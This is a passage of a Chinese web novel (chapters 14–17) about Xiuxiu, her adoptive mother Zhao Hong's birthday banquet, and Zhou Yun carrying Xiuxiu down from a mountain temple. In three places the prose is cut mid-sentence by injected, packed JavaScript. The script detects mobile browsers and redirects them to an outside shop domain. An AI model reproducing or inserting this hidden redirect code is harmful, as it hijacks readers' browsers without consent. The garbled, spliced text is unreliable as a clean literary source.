直到纤长睫毛微微泛霜，肩头落雪打湿了领口皮毛，他方才睁开眼。 在洒满阳光的上午，周允沾了一身寒气，又回到了冶铸坊，回到了这个令人应接不暇、心无旁骛的地方。 14. 第 14 章 二月中旬的某日，偌大的李府，正全然沉浸在钊虹的生辰之中。 朱红大门前的车辙马印接连不断，仆役们脚步匆匆迎候引路，锦衣玉服的客人行礼问好，威风凛凛的金鼎轩老板容光焕发，衬得衣裳上的北紫色并蒂莲也落寞三分。 李府外院最大的花厅恰如阳春，觥筹交错，笑语喧阗，花厅中央一架十二扇紫檀木屏风隔开两方天地，岁寒三友在琉璃屏上展开，透光不透影。 屏风之外，李守常一袭藏青长袍坐在主位，气质温文，言谈举止间满溢书卷气，李先生虽是读书人，却不似旁的文人墨客那般清高；虽不善应酬，却仍旧待人真诚，因此，席间毋论学士骚人还是商界友人，皆对其有几分敬重。 酒过三巡，一乡绅打趣道：“李先生这般人物，怎就降住了钊掌柜那匹胭脂马？” 李守常闻言，面色羞赧，举杯谦和说道：“说来惭愧，全仗内子辛劳，李某唯愿不负圣贤之道罢了。” 话音刚落，忽见钊虹从屏风缝隙探过来半张美面，朝乡绅大人敬酒，笑道：“且不说妾身何德何能比作那胭脂马，那关老爷是何等人物，观复在您老眼里竟是这般权威了？” 顿时满座善意哄笑，推杯换盏，好不热闹。 一屏之隔，香气馥郁，钗环玎珰，女眷这边亦是言笑晏晏。 钊虹笑盈盈给一旁的老妇人添菜：“姑母，这蟹粉豆腐最养人！”待筷箸碰上瓷碟，她陪笑一番，又去搂上酱坊的千金，说：“真是应了那句老话，女大十八变，上回见你还是七八岁的小丫头，如今出落成这样的美人了！” 秀秀瞧着钊虹在席间八面玲珑、如鱼得水，一时有些神伤，她低头小口吃着饭，尽量不让旁人的注意力放在自己身上。 接着一双赤金虾须镯便搁在了她肩上。 钊虹顺势拉起她的手，朝席间众人说道：“各位夫人小姐，今日借着生辰，还要向大家宣布个喜事儿，我钊虹也是有女儿了，年前儿刚认的义女钊柔，今后还得指望咱娘们儿姊妹间多多关照，就当是给我钊虹一个面子，可好？” 席上不知哪家夫人忙道：“小姐一看就是个聪慧乖巧的，今日真该祝姐姐双喜临门了！” 众人纷纷朝秀秀看来，她面颊染上一层绯红，端起丫鬟刚倒好果子酒说道：“钊柔在这儿见过各位夫人小姐了。” 席上举杯祝贺，一时间欢声笑语恰如珠落玉盘。 声音传进隔壁周允耳朵里，他抬手揉揉太阳穴，转而神色如常饮下一口清酒。 宴后，男宾们继续饮茶听曲儿，周允索性借口出了外厅，微薄脑胀感在冷空气里消散，他信步行至李府花园，冷冷清清，安安静静，游走一圈，在无知无觉中，走到了锦心园的月洞门前。 洞门小巧，整座园子藏在这隐秘之处，红泥墙四周围着水痕白石，石上砌的蝶恋花图案精巧细致，一目了然，这是一座女子闺苑。 他站在门前数步之远，长身玉立，再不逾越一步，可视线却不受控地往门里探去。园子曲径通幽，看不大出内貌，独独门口几丛芍药的枯败干枝入了他的眼。 “人前芍药，人后荆棘。”他嘴角抬起浅浅弧度，自言自语，“倒是对得上。” 神思飘忽之际，身后欣喜一声叫醒周允醉意。 “不然兄！” 李聿掀袍下台阶，快步走来，笑说：“可算找到你了，我已命小厮摆好棋局，只待你我一战。” 二人行至书房，李聿这才问道：“今日文珠为何不来？” 周允低声道：“今日休沐，回家去了。” 李聿道一句“原来如此”，转而又问：“四月棋坛切磋大会，你可参加？” 周允气定神闲：“不去。” 李聿不解，抬头看他，见周允并不解释，他便又问：“为何？” 周允掀起眼皮，略带困倦：“下棋最忌讳三心二意。” 李聿噤声，书房转瞬只剩落子之声。 忽地，门外一声急促“哎呀”打破宁静。李聿抬头往窗外瞧去，被周允一个棋子儿敲打回来。 李聿讷讷开口：“好像是秀秀姐姐。” 周允手上一顿，匆匆之间，占了下风，棋局已定，李聿清盘再来一局，周允婉拒：“改日吧。” 李聿垮下肩来，兴致不佳，转瞬又直起身子，又往窗外一瞧，已经没了人影。他索性往后仰躺下去，兀自问道：“你又为何不去会会那指尖神手？依我看，你早该夺魁，挫一挫他的锐气了。” 周允：“前些日子，到底是谁立下雄心壮志，说要赢了人家？” 李聿面庞微热：“我...那日我不过随口一说。”接着又道，“据传他从不以真面目示人，如此神神道道，书院还有人说，此人是朝廷要犯，怕被人认出来，又舍不下虚名，这才带着面具斗篷也要来下棋。” 周允单手扶额，板着脸一个字也吐不出来，索性起身，信步至书案，随意找本书来翻看。 一低头，却瞧见几张不甚美观的字，写得是些五谷蔬菜一类。 李聿闻声坐了起来，看见周允正举着秀秀临摹的字帖，走近笑道：“秀秀姐姐每日都要随我习字，我爹若是看见她的杰作，那戒尺可就派上用场了！” 周允放下手中纸，瞧见“秀秀”二字倒是写得还算规整，漫不经心地问：“听来你们姐弟二人很是熟络。” 李聿：“住进我家，总归是我姐姐。她投我木桃，我自当报她琼瑶才是。” 周允饶有兴味，眉梢轻抬：“何来木桃？” 李聿从书架找出一本书，得意地递过来。 周允接过一看，是一本棋谱。他拿在手里闲散翻阅，书中布局不过窠臼之作，净是些老套子、庸俗下法，照李聿如今的棋艺来看，对其毫无帮助。他看得索然无味，便漠然道：“俗手汇编。” 李聿从其手中夺过：“礼轻情意重。” 周允默然不语。 随后，李聿又问：“今年的棋坛切磋可还在茶楼？” 周允不动声色：“不知。” 所谓茶楼，正是皇京大名鼎鼎的“道诡茶楼”。 何为“道诡”？只因店里的两位说书先生。二人轮番上阵，既不说那演义小说，也不讲那英雄传奇，公案世情不足一提，才子佳人稍逊风骚，两张嘴唯独“道尽人间奇诡之事”。 也正因此，道诡茶楼在皇京一炮而红，一时间，皇京城内的文人商贾，或是仕宦平民，无一不在得闲之时来饮一杯茶。 自然而然，茶楼便不仅“道尽诡事”，更是“言尽天下事”，新的旧的，宫里的民间的，总能在此打探一二。 茶楼和金鼎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632997|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轩在同一条御街上，掌柜的叫高名，是洛阳人士，个头不高，笑起来一脸褶子，眼里都泛着精光，可再精明也只是个外地人，能在皇京如此好的地段上开铺子，背后定有旁的金主。 茶楼终日人来人往，店里客人更是鱼龙混杂，偏偏掌柜的嘴上了封条，任谁也没法从他嘴里套出话来，后来也就无人自讨没趣了，众人只当茶楼老板是哪位达官显贵。 掌柜的最引以为傲的有两件，其一是茶楼整日红火的生意，其二便是他那一对双生儿子。兄弟俩今年十八，老大叫高定，老二叫高胜，众人都叫阿定阿胜，图个吉利，定胜兄弟嘛！ 俩兄弟长得十分相像，性情却是大相径庭，不过倒是个个都长得人高马大，模样端正，不随他爹的身貌，一看就是干活当家的好手。 老大阿定平时镖局里做镖师，老二阿胜在茶楼做说书先生，钊虹生日这天，适逢休沐日，兄弟二人用了午饭便都早早来了茶楼，静待贵客。 后院角门一阵声响，二人隔空朝掌柜的打了个眼色，前后脚出了门。 茶楼二楼最靠里的雅间外，来兴正来回踱步守着门。 房里正是周允和定胜兄弟俩。 阿定严肃不苟，向周允一一禀报：“王秀秀，年十七，山西平城河津县王家沟人，娘因病早逝，有个好赌的爹叫王二，王秀秀三年前便被王二卖进胡家做了童养媳，后来大婚之夜她凭空消失，不见踪迹。” 周允问：“这胡家是什么人？” 阿定：“胡家祖上是县里的阴阳生，后来开起绸缎铺子，到这辈已跌落，全凭长子胡伯光勉强维持着，王秀秀所嫁之人叫胡仲赉，是胡家正房的次子，年三十又三，平日背着家里在外头帮//嫖//贴食，早年间染上花柳病，前几年不大好了，家里头给买了童养媳冲喜，年前没熬过冬天，刚进了腊月就死了。” 周允又问：“王秀秀还有两个兄弟？” 阿胜在一旁嘻嘻开口：“这个我都问清楚了，据说年前春天，王家沟的天色那是变了又变，霎时就黑咕隆咚，顷刻之间，那是狂风骤雨，天边大响，最让人纳闷儿的是火光连天！”说到这儿，阿胜一顿，神神秘秘地问，“您猜怎么着？” 周允掀起眼皮乜他一眼，阿胜登时不好意思地挠了挠头皮，道：“平日说书说惯了...” 他继续讲：“一块天石好巧不巧掉进王二家的地里，据这王二所言，他老王家可是冒青烟了，官府要从他手里买走这块石头，足足给了十块金饼！” 周允又看过去，连一旁的阿定也看向弟弟，阿胜咧嘴笑笑：“我捡着紧要的说，紧要的说。”他轻咳几声，正色开口，“王二便又去赌，赌输了被人找上门，家里却是连金渣渣都看不见，这王二也真不是个东西，又把两个儿子给卖了！” 周允眉头一紧，又听阿胜说：“所幸俩孩子命好，听说是又被贵人给买走了，送去了阳城做小厮。” 周允：“什么人买的？” 阿胜嘿嘿笑道：“就等您问这话呢！正是那金鼎轩掌柜的，钊虹。要我说，王秀秀真该给钊掌柜磕两个响头，这是姐弟仨的贵人啊！” 周允手指又在膝上敲了起来，沉吟半晌。 阿定见他起身，连忙又问：“五月棋会局戏，一切照旧？” 周允点了点头，便离去了。 15. 第 15 章 待钊虹生辰宴席酒阑人散，李聿方才知道，白日里秀秀那声“哎呀”是缘何而起。 今日宴后，女眷们都去了内院，坐在一块儿吃凉果说闲话，倒茶的功夫，小丫鬟一时疏忽将热茶沏在了秀秀身上，秀秀不气不恼，和和气气说了几句漂亮话，便回园子更衣去了。 谁料回去路上，路过书房，一只不知哪里来的小白猫蹑手蹑脚趴在了她脚上，看得秀秀心口一软，她思量一番，便将小猫抱回了锦心园。 给小猫洗过擦过，这才带着它来找李聿。 姐弟俩正一块瞧着它吃饭，通体雪白，身子瘦弱的小猫战战兢兢地舔着稀粥，李聿在其身上摸来抚去，喜欢得不得了。 秀秀趁机问：“它来了家里，我觉着就是缘分，寅生，咱们留下它可好？” 李聿闻言抬头，眼睛一转：“秀秀姐姐所言极是，雪猫是祥瑞，人家上门来给娘祝寿，咱们可没有把祥瑞赶出去的道理！” 言罢，姐弟俩笑作一团，搭伙壮着胆儿，就把小猫留了下来。 李聿问：“是该给它取个名儿，姐姐可有心思？” 秀秀摇摇头：“你读书多，你来取吧。” 李聿直言：“取个名儿又跟读书有多少干系？俗气名儿才好养活！文绉绉的名儿，叫起来舌头都打结。依我看，庆喜这名儿就不错！” 此话一出，秀秀当即笑出来：“后厨婆子家的孙儿就叫庆喜！还是换个吧。”她稍作思忖，问，“这猫是个公的，不如唤它庆哥儿？” 李聿笑道：“庆哥儿甚好！” 于是，庆哥儿这名字便就叫下了，随后李聿要去温习功课，秀秀便带着庆哥儿又回了园子。 此时在她卧房的桌上，正搁着一个大红包袱。秀秀踌躇片刻，还是打开了包袱。 里面正窝着一个缎面绣花枕头。 枕面上是一架虹霓，五彩缤纷，仔细看，在角落还有一个不算规整的“虹”字，虽说不上技艺绝伦，但也是个精致物件，打眼一瞧，便知道做枕头的必定费了辛勤。 这是枕头是秀秀自己做的，枕面上的刺绣是她每日空闲时，一针一线绣出来的。她从后厨杂役嘴里听说过，格物的学士们认为“虹”是淫/征，所以那群嚼舌根的碎嘴子说钊虹也定是淫/奔之女，可这群人，还要仰仗钊虹才能吃上饭。 她从来不觉得虹是什么邪晦之物，在学钊虹的名字时，李聿便同她讲过，虹是日光影射雨气才能看见的自然现象。她知道霓虹是顶顶张扬艳丽的物事，那群人只是忌妒钊虹这样能耐的女人。 秀秀自然明白，旁人的善心好意不是理所当然，逢场作戏也好，临时起意也罢，钊虹给了她数不尽的恩情，哪怕最后分道扬镳，她也该知恩图报。 可这只是一个普通枕头。 她觉得最能拿出手的东西，也不过是一个枕头。 秀秀皱着眉头看了很久，直到翠鸾进来，走上前说：“姑娘挑了这些日子的夜灯，难不成要白瞎了那些灯油？夫人可不是嫌贫爱富的人，这样用心的枕头，她不知道该多欢喜！” 秀秀无力抿了抿嘴，又把包袱系上，犹豫不决，最后还是挎着包袱去了钊虹院子里。 “年前您提起总落枕，我想着荞麦枕头枕着舒服，就去买了几斤荞麦壳，这填馅都是我挑干洗净又晒过的，就是绣面，绣得比不上外头买的.......” 秀秀话音未落，钊虹拿出枕头端详，好一会儿，才把枕头放下，半揽上秀秀手臂，眼里俱是笑意：“都说闺女是小棉袄，这哪是小棉袄，活脱脱是个暖炉！”她又问，“这绣花，可是费了不少心思吧。给我瞧瞧你的手。” 一只手伸到秀秀手边，她垂下眼道：“我打小没学过女红，以前都是缝缝补补，绣花这事儿离不了翠鸾红莺教我，还有字，也是寅生教着写的，多亏了他们，总算提前做好了。” 她的手不好看，在王家沟常年帮着爹娘干农活，去了胡家更是从未歇过一天，自打认了干娘，方才过上几天好日子，可学艺的手，是无论如何也和细嫩柔荑沾不上边的。 钊虹看见指尖几个新旧针眼交错，捂上这双瘦削干瘪的手，颇为欣慰地开口：“受累了，你有这份心，比什么礼都强。” 秀秀闻言笑笑，一双眼睛又弯起来，不见累倦，不见苦愁，只看得欢欣喜意。 转瞬，钊虹再次开口，令她僵在了原地。 “前些日子，我瞒着你去打听了你老家的爹和兄弟。” 此话一出，秀秀脸上笑容凝滞，从那日在码头见过周允，至今已十日有余，尽管一个字也未曾泄露，可她不免终日惶惶，既担心被钊虹发现，又担心到时候...什么都没了。 可如今，钊虹竟然说，她早就去打听过了？ 钊虹说：“你爹因着滥赌，被要债的打个半死，又把两个孩子都卖了出去，我便托人又给买过来，都安置在了阳城一户富贵人家做小厮，小的那个岁数小，做学徒是苦了些，可兄弟俩在一块，也好有个照应。阳城地远，也免得你爹再去找麻烦。你这个爹，我也不曾打算帮衬什么，活不活得过这个冬天，就看他造化。” 秀秀一时怔忪，眼泪夺眶而出。 原来竟是她小人之见了。 干娘何曾不允她打听过老家的事？甚至如今还帮她安置好了兄弟。 钊虹揪出帕子给她擦眼泪：“你这丫头，怎么动不动就要掉珠子？是不满意我的安排还是心疼你爹？” 秀秀匆匆摇头：“干娘这般周到大度，我......我实在是无以为报。” 钊虹笑笑，指着膝上枕头道：“这谢礼我满意得很！”见秀秀仍抽搭不停，她忙扯开话题，“跟我说说，今日有哪家公子可入了我们家秀秀的眼？” 秀秀脸上的感激顿时变成一抹局促，安置好她兄弟，是要把她嫁出去吗？ 秀秀咬了咬唇，没张嘴。 钊虹都看在眼里：“干娘也是娘， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632998|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做娘的自是尊重你的意思，有什么心意，大胆告与我便是，娘俩之间，又有什么话是不能说的？” 秀秀眨眨眼，像是给自己打气般抬起头来，看着钊虹，神色郑重地开口：“自打进了胡家，我便知道，婚姻对于那不能独自安身立命的女子，说是吃人的妖怪也不为过。干娘，我从逃出来那日，便下了决心，绝不做那依附他人的金丝雀儿，更不做那被人驯服的胭脂马，进了金鼎轩又认了师父，我是要做和您一样的风雨霓虹啊！” “古往今来，多少人教唆女子找个靠山，可手心朝上的日子哪是好过的？见了您我才知道，女子也是半边天，女子便能做自己的靠山。只有自己有了本领，那名利、敬重，才是实打实的呢，更别提给自己做主的机会了，这才是最珍贵的东西！” “干娘，秀秀在这儿望您成全，待学成之后，您若是......我也绝不拖累您！” 言至于此，秀秀一脸决绝，铿锵有力，这是她的心里话，如今一股脑儿倒出来，松缓不少，可又不免慌乱。她相信钊虹绝非迂腐短浅之人，可若是钊虹不接受，她也认了。 谁料钊虹却是眼中一亮：“真真没有看错你，好孩子，这才是个像样儿的！你能这样想，我这做娘的开心尚且来不及，又怎么会嫌弃？只要我钊虹维持得住一日局面，那定是要让自家闺女成才才是！” 娘俩儿又说了好一番体己话，如遇知音，相见恨晚。 用了饭，姐弟俩又去书房学字，外头小厮来报：“少爷，周公子遣人送来两副函套，说是给您的。” 李聿接过，打开一看，一本是棋谱，一本是《千字文》。 棋谱他明白，不然兄送的定是精妙棋局，可这《千字文》，他七岁便就不用了。 惑然之际，李聿灵光一现，把这本《千字文》交到秀秀手里：“这本书最适合蒙学识字了！秀秀姐姐，你且收着看，不懂的便问我，对你识字定大有增益。” 秀秀接过来，只见函套里的小书颇为风雅，心中十分欢喜，小心将书搁置一旁。 待回到锦心园，又去偏屋逗弄了一番庆哥儿，她这才回去歇下，端坐镜前，打开书一看，十不识一，略为懊恼，又翻几页，方才知晓，原来这单薄小书内有乾坤。 只见书中夹着数张大纸，展开竟是图画和文字注释，明白如话，浅显易懂，她一时看入了神。 翠鸾见她这般专注，轻手轻脚过去，小声提醒：“姑娘，该沐浴了。” 秀秀答应着，却仍是垂着头，翠鸾瞟过去一眼，笑道：“少爷真是个有心的，这图解定是费了不少心思。” 秀秀身子恍然定住，想起这是谁送来的本子，又不便对翠鸾说她猜错，只微微一笑，默而不答，随后便麻利合起书来，收进匣子里，快步沐浴去了。 翠鸾和红莺都不明白，为何今晚姑娘沐浴时间格外长，也不知道，为何翌日晨起时，姑娘眼下一片乌青，同她说话，她也心不在焉似的。 16. 第 16 章 云雾山在一望无际的皇京城西拔地而起，山上草木葱茏，每逢春秋，奔往城西的马车络绎不绝，欣赏山色固然是一大乐事，可游人更是为了山顶上的一座小寺而来。 这寺名为云雾寺，除去严寒酷暑，终年烟火袅袅。传言在一千二百年前，一药师在上山采药，途中遇雨，慌乱中躲进一旁山洞，却恰巧遇见正在修炼的山神。 此时山神还是一只小老虎，正修炼幻化成人形，却不料走火入魔，受了重伤昏迷不醒，药师只当它是这山间的生灵，于心不忍便为山神医治。 后山神苏醒，为报答药师善心，便大手一挥在山顶落了这座寺，专为往来路人休憩留宿。 又过了五百年，彼时正在四方云游的了因大师来到此地，便居留在寺，修缮、扩建、通路，慢慢才有了这座云雾寺。如今，了因大师的舍利仍在云雾寺中。 寺中三进殿，从前至后，分别是天王殿，大雄宝殿，玉王殿。皇京无人不知，大师的舍利塔前的玉王殿，殿内供奉着哪路的神仙娘娘，格外灵验。 寺中一老僧，名为长岄，尤擅医术，周允幼时体弱，周四海带他来寺中寻医问诊早已是家长便饭。春节那日，来兴也是被此人所救。 如今已是二月下旬，寒冬的顽雪无影无踪，璇波河冰层渐薄，微风悠悠拂面，天色都多了几分柔和。 这日，钊虹念着不足两月后李聿便要参加院试，加之自己生辰刚过，便携秀秀一同前往云雾寺烧香礼佛。娘俩带着几个丫鬟，便乘着轿子往城西而去。 山不高，可上山仅一条石阶路通行，轿子马匹只得在山脚停下，二人下车，不紧不慢往上爬。 云雾寺名不虚传，上山途中已是人影憧憧。塔下殿前，烟霞缭绕，善男信女，闭目合十。 秀秀一抬头，月王殿里供奉的神仙娘娘正眉清目秀朝她笑。 她浑身一颤，面露讶异，恍然想起王家沟的那座娘娘庙。 古往今来，没人知道是谁修建的这座庙，也没人知道庙里的娘娘到底叫什么，村里百姓都叫她“月娘娘”，这座庙经年失修，可庙里的娘娘塑像却十分完好，谁家小孩病了、吓着了，谁家妇女难产了、滑胎了，来找玉娘娘一说，不出两日准好。 可还有个稀奇事儿，谁家堕了丫头，谁家卖了闺女，谁家打了女子、媳妇，不出两日准倒大霉。村里都说是月娘娘护着，心思不正的都得遭报应。 秀秀不懂这些因果仙法，只知道月娘娘是个好神仙。 她记不清是多大了，在小时候的某日，她在庙里发现娘娘座下有根狗尾巴草，这根草也是石泥塑的，就在娘娘脚边，很不起眼。她觉得稀奇好玩，不自觉伸手去摸，碰到香灰才想起来，村里老人都说，菩萨神仙的塑身碰不得，那是大不敬。吓得她当即屏住了气，朝娘娘拜了又拜，头也不回地跑回了家。 晚上便发了病，全身滚烫，稀里糊涂哭着说“神仙无情无义”，药也不肯喝，村里出马仙说这是叫脏东西上了身，后来是她娘晚上偷着给她灌药汤，这才退了烧。 但病好了以后，她也总是担惊受怕，玉娘娘是不是还要找上门来？想着想着，就长到了十五，爹把她嫁给胡家，她想，月娘娘给的报应终于来了。可后来，她又逃了出来，直到十七岁，她知道了，月娘娘才没那么小气，这是在帮她呢。 本以为，来到皇京就再也见不着这月娘娘了，可如今，云雾寺的神仙娘娘，竟跟月娘娘长得一个模样！ 秀秀一时愣了神，钊虹在一旁唤她名字，叫了好几声，这才把人叫过来。 “一人三柱香，亲自去长明烛点上，这才心诚。”钊虹递过来三支线香。 秀秀接过来，最后懵懵懂懂地去上了香，刚把香插进香炉，“哐当”一声，她在丫鬟的惊呼中晕了过去。 再睁眼，她正躺在一间朴素清净的房里，浑身酸软，头昏脑涨，钊虹正在桌前坐着，黄鹂、翠鸾也都在。 随后，她见钊虹快步上前走来，问道：“可还难受？” 她躺在床上微弱地眨了眨眼，想摇摇头，发现稍微一动，便又晕起来。 钊虹解释道：“这回多亏了寺里的长岄长老，你可知道自己闻臭头晕？” 秀秀眉头一动，疑惑不已。 钊虹：“闻了信香浓烈之气，便会头晕目眩，胸闷气短，严重了还要反胃呕吐。长老说这叫香敏症，脾肺虚弱，不耐香燥。” 想来是方才在香炉前靠得烟雾太近，这才一时天旋地转晕了过去。秀秀闻见此时房中仍有一阵淡淡的香云之气，她轻声问：“这是在寺里？什么时辰了？” 钊虹一一作答：“正是寺内寮房，你已昏睡大半个时辰，现下未时，刚过正午，日头还早呢。” 秀秀答：“我既已醒，又上完了香，咱们回去便是。” 说罢就要起身，被钊虹紧紧摁下：“你且老实躺好，心里挂念着多少都先抛出去，再怎么紧要的事儿也得排在身子后头不是？先吃完药，歇息歇息再说其它。” 秀秀正欲开口，门外响起红莺的声音：“夫人，周公子已经把药送来了。” 周公子...... 秀秀尚且未来得及疑惑，钊虹朝旁边使了个眼色，翠鸾开门把药端至床前，伺候秀秀吃药。 数十颗极小的黑褐色药丸，分次随水服用。 钊虹开口，语气里尽是满意之色：“说来也是巧，今儿个所幸不然正在寺里，否则还真不知如何是好。这孩子也是个靠得住的，长岄长老问了诊，他二话没说便下山拿药去了，这才多久，就把药给送到。”说到此处，她笑道，“秀秀，这声哥哥你可真是没叫错！” 话音刚落，秀秀嘴里喷出一口水，咳得止不下来，翠鸾连忙上前轻拍她后背。 “好端端地，怎还呛着了？”钊虹掏出帕子给她。 秀秀又咳了一会儿，朝翠鸾摆摆手，勉强开口道：“喝得急了，没顺过气儿来。” 窗外，周允正人高马大站在墙角，悄然挑起眉毛。适逢午后，阳光明媚，他从山下一路奔上来，浑身仍散着热气，脸上也带着几分往日少见的和煦。 他这日过来，是为了他的“纸人替班”，每月十五，他都得来寺里给他的童子替班们上香。 他对此烦躁不堪，也不甚在意，但他的命不全是自己的，是他祖母、爹娘、妹妹给他偷来的。 往日，他定是上完香便速速离去，可今日，谁料又遇见她？ 人倒在他面前，总不能见死不救，四下都是女人，抱她进房也实在是无奈之举。来兴生病，尚且要背他上山来，何况，何况，何况这是…寅生的姐姐，也是他…妹妹！ 至于下山取药… 仆夫驾车回城，定是要比他骑马慢得多。 救人一命胜造七级浮屠，在云雾寺做了这等好事，就当是他积德行善罢。 除此以外，再无其它。他周允对天对地对神佛发誓。 周允在窗边墙角凝立不动，琢磨一番缘由，又听见窗内安静下来，这才转身走开。 待秀秀吃完药又歇了半晌，香客稀疏离去，钊虹一行人预备回府。 几人又犯了难，一路石阶下行，秀秀走两步便又觉头晕气闷，咬牙被两个丫鬟搀着，在路边石凳上坐下。 钊虹在一旁隐隐担忧：“在寺里多住几日，把身子养好再回去也不迟。” 秀秀坐在石凳上道：“无妨，山不高，这就到了。” 钊虹询问：“叫驾车仆夫背你下去？” 秀秀犹豫之间，身后一阵清冷低沉的男音响起：“婶母。” 钊虹一惊：“不然，竟这般巧，还以为你早早下山去了。今日之事，多亏了你跑一趟。” 周允轻描淡写：“举手之劳，不足挂齿。方才与长老多下了两盘棋，便迟了些。” 钊虹眼睛骤然亮起：“这可不就是现成的好帮手？不然，秀秀现下身体不适，你背她下山可好？” 周允心中一滞。 见秀秀默不作声，面带踌躇之意，钊虹只当她碍于礼数规矩，又对她小声相劝：“那些三从四德、纲常名教，可都是些作茧自缚的东西，四下无旁人，管他是公子还是仆人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632999|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，先下山才是正事。” 秀秀抿了抿唇，她哪里是因为劳什子的礼教，她是因为这个人啊！ 无奈之中，她朝钊虹点了点头。 太阳西偏，路上安静无言，钊虹不紧不慢打头阵，小厮开路，丫鬟紧跟其后。 队伍后头，秀秀正趴在周允后背上小声嘟囔：“你究竟要怎的？” 周允气定神闲，呼吸均匀，颠了颠背上的人，引得秀秀牢牢抓住他肩头衣裳。 背上温软不容忽视，他闻见一阵清浅香气在周身萦绕，轻咳一声，悠悠道：“给你抓药，背你下山，你说我要作甚么？” 秀秀压低嗓音，又贴近他耳边几分：“我看你就是成心要看我笑话的！” 周允脚下稳稳下了几个台阶，待耳畔那股湿润气息散去，他手上动了动，马面裙的料子的触感硬//挺，他寻着一个裙褶，轻轻搓起来，语气闲闲：“任你怎么想，在你眼里，我早就同那歹人毫无二致了吧！” 秀秀针锋相对：“算你知道自己的斤两。” 那股幽幽香气再次飘来，周允喉结滚动，轻声喝道：“要是歹人，你如今还能这般安好？真是吃饱便骂起厨子来了！” 他话里有话，秀秀冷哼，一时想起那日在码头，她腆着脸叫他不然哥哥，忽地好不尴尬，脸上红一阵白一阵，于是便不再言语，瘪起了嘴。 背上没了声音，周允微微侧头，问道：“又晕了？” 秀秀嗔道：“果真不盼我好！你切莫再与我说一句话！” 周允冷笑：“你这般狼心狗肺的，我倒是头一回见。” 秀秀对他的话充耳不闻，兀自瞧起斜前方的太阳，万道金光倾撒，天边一片橙黄璀璨。余光中，钊虹回过头来睇一眼，接着又继续看顾脚下的路。 傍晚空中仍泛着凉意，可她一路过来竟丝毫不觉。身下脊背温厚踏实，她垂眼一看，周允额尖已经冒汗。 这些日子，她是又重了些，以前手腕都是硌手的骨头，每回端笼屉，婆子总说怕她骨头折了，如今腕上都能捏起肉了。 她开口，声音细不可闻：“喂。” 周允猝不及防，呼吸略重：“嗯？” 她咬了咬唇，问：“你...要不要揩揩汗？” 周允心中一跳，喃喃道：“我要是哪吒三太子，有那三头六臂，是定要揩汗的。” 秀秀慢吞吞从怀里掏出帕子，不知该如何是好，却听见他说：“收起来吧，帕子岂能随便给外男用？你不是最看重这些个礼数？” 她顿时蹙起眉来，往前伸出纤纤素手：“三文钱，卖给你，你买我卖，合规合矩。” 周允闻言瞠然一怔，盯着那一缕素白帕子看。 因着下山颠簸，帕子在空中飘飘然，一荡一漾，莫名扫得人心里头都泛起痒。 他转而闲闲问道：“背人下山，该卖多少银子？” 秀秀一时语塞，索性拿着帕子在他额上胡撸一把，狠狠道：“还说你不是成心的？”说罢又把帕子塞进交领衣襟里，“沾了登徒子臭汗的帕子，不要也罢！” 周允连扇几下被她搞乱的睫毛，不否也不拒，安稳把人送至山下，随行在一侧，临近城中，才又飒沓离去。 待在前院用过饭，秀秀又回到了锦心园。翠鸾红莺正备着沐浴的水，却总是偷着笑。 秀秀正在镜前通发，笑道：“两个好姐姐，什么喜事这般高兴？说出来也让我乐呵乐呵。” 两个人垂着头憋笑，你推我我推你，最后翠鸾快嘴道一句：“姑娘和周公子，真是般配呢！” 秀秀当即羞红了脸，却仍坐在凳上，反而扶着脑袋蹙起了眉。 二人急忙上前：“可是又头晕了？” 秀秀眼疾手快抓住二人衣裳，笑着给二人挠痒痒：“叫你们胡说！” 一时间，少女闺房里笑声朗朗，丝丝缕缕仿佛传到周府，周允靠在床头，拎起一条素白罗帕，又握进手里，布料舒适柔软，轻薄透气，好似掌心的茧子都抹平。揉捏至手帕温热，恍然间一阵暗香浮动，他只当又入了梦境。 17. 第 17 章 冬去春来，惊蛰物候，草木萌动，早花争妍，周四海又被花粉勾起了老毛病，鼻鼽不止，对冶铸坊的炭火气更是避之不及，也正因此，冶坊和铺子全压到了周允身上。 而自那日叶丛找了周允过后，二人默契使然，对匠头之事讳莫如深，周允心中自有定夺，他笃定匠头只能由他来做。 但凡讲究的大型工事，必先收揽师傅们的生辰八字，为的是剔除那些八字不合之人，以防刑冲克耗工程。这回也不例外，前些时日，坊里的老师傅，包含着周允周四海二人的八字便全都交了上去。 周允对此胸有成竹，且不说这规程本就是虚应故事，就是依照那法度来选，他也是匠头的最佳人选。他克死过三个至亲，放眼望去，坊里没有哪个人物比他命硬。 可二月廿二，一纸皇命打碎他心中所想。 这次的匠头，既不是正被鼻鼽所困的周四海，也不是他自认命硬的周允。 而是坊里的二师傅，谢烛。 